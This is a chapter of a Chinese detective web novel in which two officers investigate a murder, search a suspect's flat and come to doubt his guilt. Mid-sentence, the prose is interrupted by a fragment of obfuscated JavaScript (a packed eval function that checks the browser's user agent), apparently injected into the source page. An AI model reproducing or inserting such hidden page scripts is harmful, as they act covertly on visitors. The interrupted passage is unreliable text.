早说这么贵,他就把那杯茶喝完了,一滴都不浪费。这么暗戳戳的后悔着,林懿拉开副驾的门坐进去,沉默良久,还是决定转过头去,对廖柏清坦诚相待道:“以后如果再碰到什么比较贵的东西,你能不能先告诉我下价值?不然我什么都不知道,浪费了怪不好的。” 廖柏清没料到他会如此坦荡。 怔忪片刻,又换回那副惯有的浑不吝姿态。 他单手握方向盘,一手曲折着随意搭在窗边,看起来,要多随性有多潇洒:“不是所有被附加了高价值的东西都有必要重视,也不是所有看起来没有价值的东西就不值得珍惜,比如你的情绪,能感受到当下的开心和满足,这就够了,又何必非要用数字去衡量呢?” 说这话时,他整个人完全靠在座椅中,从头舒展到脚,没有任何强装的蛛丝马迹在。 一看就知道是从小被爱与金钱浇灌着长大的。 “话是这么说没错,”这份松弛与不在乎,或许是他这一辈子都无法学会的。但林懿并不因此而自卑,相反,他对于能享受到多么好的物质条件完全没有追求,只是有一点点羡慕罢了:“但我还是想知道一下,无关价值,你就当作是我的一点好奇心好了。” 羡慕他有很多钱,羡慕这些钱能拿来做很多他现在还没办法做到的事情,完成很多他目前还没办法实现的梦想。 仅此而已。 在他的固执坚持之下,廖柏清没再拒绝,一口答应下来:“好啊,以后再碰到我跟你讲就是了。” “谢谢。” “先别急着道谢,作为交换,晚上请我吃个馄饨吧。” “......” “好,等你帮我搬完家,我请你去吃,行么?” “行,等吃完我们一起回家。” “——欸欸欸,不是,等等,”身体毫无征兆地后仰,是小胖又来扒他的背靠了。他双手紧紧环住靠枕,满脸狐疑的在两人脸上打转:“我是穿越了吗?这还是2026年吗?啊?怎么我就打了个盹的时间,你们二位都已经要同居了?” 有八卦,在后座小鸡啄米的两位也不困了,一前一后凑上前来,竖着耳朵偷听。 廖柏清透过后视镜觑他们一眼,玩味道:“逻辑学没好好学就回去重学,我只说了一起回家,有说过是回同一个家吗?” “切~~~”后面三人顿时又萎靡回去,兴致缺缺的抱怨:“说话说一半,做人不厚道。” 没管他们如何,廖柏清侧头冲懵然的林懿眨眨眼,咧唇一笑。那意思,不能再明显: 哥们儿够义气吧?不给你落话柄。 那个瞬息。 林懿清楚地听到,好像有哪里在敲鼓。 震耳欲聋。 6.生物碱04 “廖队,有新发现!” 一回办公室,宋如鸢就为他们带来另一则好消息:“经过这次的调查,我们发现:李招娣的直属上司郑浩然跟她在同一天,同一个下午,都去过南溪公园。” 这可是个突破性的大发现。 比他们搜集到的包包碎片更为直截了当,几乎是直接为他们锁定了下一步的侦察目标。 廖柏清当即接过她递来的那沓资料,迅速浏览着,恰逢此时,另一队人马也风尘仆仆地回来了。石斑鱼大跨步走上前来,面颊上染着不容忽视的喜色道:“廖队,我们查到一条非常有用的线索。” “嗯,是什么?” “据公司里一位保洁阿姨说,在李招娣遇害的前一天,她在打扫的时候曾听到过李招娣跟他的上司郑浩然起争执。”石斑鱼把走访调查记录递给他,语调飞速却清晰地概括道:“好像是李招娣觉得不公平,想让郑浩然给她涨薪还是转正,但是郑浩然不愿意,还放狠话说:你别威胁我,不然我什么事情都能做得出来。” 几乎是同一时间,所有人的脑海中都萌生出同一个想法—— 估计就是郑浩然没跑了。 不管怎么样,先把人带回来审。 不等廖柏清出言安排,石斑鱼便又眼明心精地接上:“有些棘手的是,郑浩然现在人在广城出差。” “我们可以先打电话给广城那边请求异地协助,然后我俩现在立马开车赶去那边,顺利的话,后天一早就能把人和口供一起带回来。” 警局是个上下级界限划分非常严谨的地方,从来都是领导发号命令,底下人再去遵守照做,像他这种率先开口安排的做法,无异于是以下犯上,越权挑衅。如果碰上爱挑事的领导,直接被停职都是有可能的。 但这种嫌隙,在廖柏清身上却见不到丝毫踪迹。 “可以,就按你说得做,”他不仅没生气,相反,瞳孔中还晕着种“手下人终于长大了,能够独立行动了”的欣慰与赞赏之意,周全地令人心安:“小胖,你也跟他们一起去。从南城开到广城快一点都得用半天时间,两个人倒替开车有点累,三个人正好,路上开车注意安全,遇到解决不了的问题随时给我打电话,我一直在。” “好的!廖队!” 三人领命,从他手中接过警车钥匙,小跑步跑出市局。 廖柏清看着他们逐渐消失的背影笑笑,收回视线,落在一旁正若有所思、神情不见半分松懈的林懿身上。 他抬手想去拍他的肩胛,倏然想起什么来,在距他还剩一拳距离时及时停下,将伸展的手掌缩成拳头,不动声色地又收了回来。他捏着手里的报告,在他面前晃晃:“怎么了?怎么还是一副苦大仇深的模样?” 涣散的目光霎时聚焦于一点,林懿顿了下,摇摇头。 难免有些自我怀疑:“没,只是总感觉哪里不太对,但我说不上来。可能是我又多想了吧。” “就算是多想,也该拥有被表达的权力。林懿,我说过了,我会相信你,你怎么想就怎么跟我说呗,我都会听着。” “哪怕是无厘头的?” “哪怕是错到离谱的。” “行,那我就跟你说说吧,”林懿肩膀一松,不再自己憋着,竹筒倒豆子般对他讲:“我总感觉事情没有这么简单。如果凶手真的是郑浩然的话,他可以有很多隐蔽的、不容易被人发现的地方选择,为什么非要去选一个离公司有十万八千里远的公园行凶呢?” “他不嫌跑得累吗?” 这也正是廖柏清心中的疑惑。 他往后一坐,靠坐在宋如鸢的办公桌边缘,双手环臂,眉头微锁,不太确定地推理道:“有没有可能是:他当时和李招娣在公司里爆发了争吵,李招娣用什么把柄威胁他,他怒火上头,却又觉得在公司里行凶的话太惹眼,所以才在第二天李招娣休息时把她约去公园,除之而后快?” “还是有些说不通,”林懿一手环胸,一手摩挲着下巴:“那他又怎么会知道南溪公园那条小路上的监控坏掉了呢?如果我没记错的话,他家离南溪公园单程就超过了一个小时。你会对离你家一个小时远的地方了如指掌吗?” “会,我经常去玩的那些地方,再远我都一清二楚。” “......” “可他跟你不一样。他是证券公司的投资经理,一不用拉客户,二不用出外勤,三没必要经常去南溪......不对,宋如鸢,能麻烦你帮我查下郑浩然在最近这三年里经常去南溪公园吗?谢谢。” 宋如鸢都不用查,就倒背如流道:“是经常。在你们还没回来前我就已经调查过了他这一年来的行踪,在这最近一年内,他一共去过南溪公园27次,算得上是常客。” 一年内,去过27次。 那确实可以说对那边的情况如指诸掌了。 林懿揉揉眼睛,周身的气场肉眼可见地黯然下来,他说了句“知道了”,随后无甚情绪地冲廖柏清抻抻唇角道:“果然是我想多了。等小胖他们把郑浩然带回来,一切就能水落石出了。” “不开心了?”廖柏清及时注意到他的不对劲。 “没,”林懿折身,往自己的工位上走。那背影,看起来孤僻极了,“我只是在反思我自己,反思自己为什么总要把事情和人性一样都想的很复杂。实际上这两者都是十分简单的事情,只是我不肯相信现实罢了。” “最后还总要拖着别人一起去做些复杂的无用功,很浪费时间。” 廖柏清追上来,又坐到他办公桌边缘,“别这么想。一个团队,要想成事,既不能缺有基础执行能力的人,也不能缺有整合领导能力的人,更不能缺的,就是你这种人,你这种谨慎质疑、有深度思考能力的人。我们每个人都像一枚严丝合缝的齿轮,无论缺少其中哪一个,这个机关都运行不起来。这么说你能理解的吧?” “能。但我有一点不太理解。” “什么?” “明明我今天是第一天入职,我们之前也不认识,你为什么能在这么短的时间内,做到这么笃定地来相信我?” 头脑冷静下来,林懿后知后觉地开始觉得奇怪。 奇怪他的言行举止,奇怪他的所作所为,奇怪他...那种说不上来的莽撞与真挚。那不是一个坐到队长这个位置上的人骨头里应该存在的东西。 廖柏清却对此有些摸不着头脑。 他眉间的褶皱更深,凝成深深的一个“川”字,又似困惑,又似理所应当般问道:“那不然呢?我还要怀疑你不成?” “换句话说,如果有天我连我的搭档、我的队员都要去怀疑的话,那我这人未免做得也太失败了吧?” 是哦,他说得太有道理了。林懿猝然僵住,一时不知道该做出怎样的反应来回馈他。 他又忘了。 又忘记人跟人是不一样的。他自己长久地呆在十分压抑的环境之下,渐渐养成了疑神疑鬼、不敢轻易相信他人好意的性格,可廖柏清不是。他跟他不一样。他是在爱里长大的人,是个正常人。 所以对他来说,做到全身心去信任别人这件事简直是易如反掌。 没有为什么,他本来就是这种单纯而热烈的人。并且这份如烈火般生生不息的炙热,总能够将围在他身边的人烤得从外到里都暖烘烘的,对他没有防备,只有依赖。 这大抵就是上午他会头脑一热,答应搬去他家的原因吧。 想通这一点,林懿不再拧巴。他情绪稍微有所高涨,弯唇冲他笑笑。那笑,似哭非哭,“不该质疑你的,抱歉。我只是——” “——跟我道歉干嘛?你又没做错什么。” 廖柏清满不在乎地挥挥手,将温柔与力量埋在调侃中共同喷涌而出:“蓐收案还有的是需要你耗费思绪的时候,别提早用完了,不然到时候我就叫天天不应,叫地地不灵了。” 十分有效而不刻意地抚慰了他的焦虑。 让他再次放松下来。 “好,我会注意。顺便一提,我们是不是应该趁小胖他们去广城抓人的这段时间,先申请搜查令,去郑浩然家把李招娣的包找到?免得他死不认罪。” “别急,我已经申请了,还没批呢。” “?” “你什么时候申请的?” “就刚才你拉拉脸的时候。想着等哄好你以后我们直接过去的,这么看来,周局很有可能又在独霸男厕所了……啊,好想举报他天天带薪如厕啊,都不知道让厕所休息休息的。” 林懿撑大眼眶:“......?” 路过正好听到的周局吹胡子瞪眼道:“死小子!知道心疼厕所,怎么不见你心疼心疼脾胃不好的我?” “有的是人心疼您,还轮不到我呢,”廖柏清没有说坏话被当事人抓住的拘谨,他一歪脑袋,没大没小到底道,“搜查令我已经提了哈,您记得转手过给法院那边,让他们尽早下,等等我和林懿一起带队过去拿。” “......” 搜查令到手,一队人马直奔郑浩然的住所。 堂堂证券公司的投资经理,听起来地位与收入都不会太低,可当他们走进一栋看起来有些年头的老旧小区,步行上到六楼,好几个队员都在后面弯下腰细细地喘息着,边喘边发出质疑:“这人不是个白领么?怎么住的地方连个电梯都没有?” 廖柏清脸色未变,抬手敲对面那户的门:“上个六楼就喘成这样,真该跟上面提议天天让你们跑个五公里、十公里的好好拉练一下身体。” 队员们闻之色变,对面房门被人拉开。 来开门的是个上了年纪的老太太。她佝偻着矮小的身体,扶在门框上的手哆哆嗦嗦的,见其中好几个人都穿着警服,不免受惊道:“你们是?” “老奶奶,您别怕,”廖柏清上前一步,从裤兜里掏出证件给她看:“我们是南城市局的,现在要依法对您对面这户邻居进行搜查,敲您的门只是想提前告知一下,免得您受打扰。” 老太缓慢地眨了眨浑浊的双眼,神情困惑道:“你是说小郑么?他怎么了?是出什么事情了么?” “我们怀疑他和一起命案有关,所以过来看看。” “命案?他?他不可能的呀......” 林懿见廖柏清一时半会儿脱不开身,没上前去打扰他们,跟后面休息到差不多的队员摆摆手,示意他们等房东开门之后先进去搜物证。 锁芯被钥匙旋开,门拉开的刹那,里头扑面而来一阵诡异的臭味。 几个人被熏到下意识捏住鼻子,挨个往里走。 两室一厅的小户型,格局分布稍显拥挤,不大的客厅里摆着个玻璃茶几,茶几上溅满了各种油渍,又被许多没有及时收拾的外卖覆盖,这便是那股恶臭的主要来源。 物证们绕开茶几,用带着手套的手仔细翻找那只lv的踪迹。 林懿进卧室前留了个心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“客厅和厨房能找的地方都找过了,什么都没发现,”宋如鸢悻悻然收回手,靠在墙上生无可恋道:“不是我说,你们男生的家里都是这样么?吃完的外卖和穿过的臭袜子到处乱扔,都不知道收拾一下的?” 对她而言,简直就是一场偌大的精神折磨。 “别人我不知道,反正我家不这样,”他从衣服口袋里掏出手机,给宋如鸢转去3000块钱,微抬下颌道:“里面就交给我们吧,你现在出去帮我办点事。来的路上我记得周围有超市,你跑趟腿,去里面买点牛奶面包什么的,再买点肉和菜回来,给对面的奶奶送进去。” “不是,你这人——” “——重点是,找找附近有没有一伙下象棋的大爷们,去打听一下郑浩然的情况。” 这句话一出,宋如鸢当即站直身体。 冲他点头,“知道了。顺便一提,买那点东西用不了一千块,当然,我也是不会还你的,谁让你总使唤我跑腿。” “行,快去吧,多余的自己收着就是。” 廖柏清斜支在楼梯旁,浑不在意地放纵着。宋如鸢脱掉脚套,收下他的转账,随着双腿交替下楼的动作,脑后的半高马尾一甩一甩的,如果不是已经共事过两年,他可能还会觉得她是个刚出社会的大学生。 “噔噔噔”的脚步声彻底湮灭于楼道内,寂静放肆滋养思绪,他心不在焉地转动脚尖,双臂一起撑在栏杆上,盯着转角处一个阴暗、潮湿、聚集满各种脏污的凸起,任由各种想法漫天飞舞。 像极了一尊光是皮囊就足够诱人观赏的雕塑。 林懿从房间里走出来看到的就是这副场景。他没有贸贸然上去惊吓他,抬腿后退几步,打算再往出走时制造一些能够把他神思唤回来的动静,先让他回神,再自然妥帖地与他搭话。 不等他提步,廖柏清先闷出道笑。 他还保持着先前那个姿势,话却是对他说的:“没跟你说过吧,我听力很好,从你还没走出门之前我就听到有人要出来了。” 林懿停顿一下,不大自在地抚上后颈,“那你没反应,我还以为你没听到。” “等你过来吓我呢。” “......” “我才没那么幼稚。两个卧室我们都仔细搜过了,什么都没有。” “我猜到了。” “嗯?” “你们进去之前,我让技侦那边帮忙查了下郑浩然这阵子的交易情况,里面也没发现过这只包的踪影。如果不出意外的话,林懿,你的第六感又要应验了。我们可能又要从头开始了。” 如果行凶者真的是郑浩然的话,他作为证券公司的投资经理,不可能在平日里接触不到lv这个牌子,更不可能不清楚它的价值。他选择住在这种租金便宜的老小区里面,不管因为什么,手头大概率也都不会太富裕,同样没道理拿走这个包之后不去卖掉换钱。 这些行为都太互相矛盾了,相悖到只有一个情况能解释。 那就是—— 凶手根本就不是郑浩然。 “那...”林懿显然也想到了这一点,他驻足于他身边,声线不悲不喜的提议道:“...今晚一起加个班?” 廖柏清偏脸看他,良久后,莞尔道: “好啊。” “......”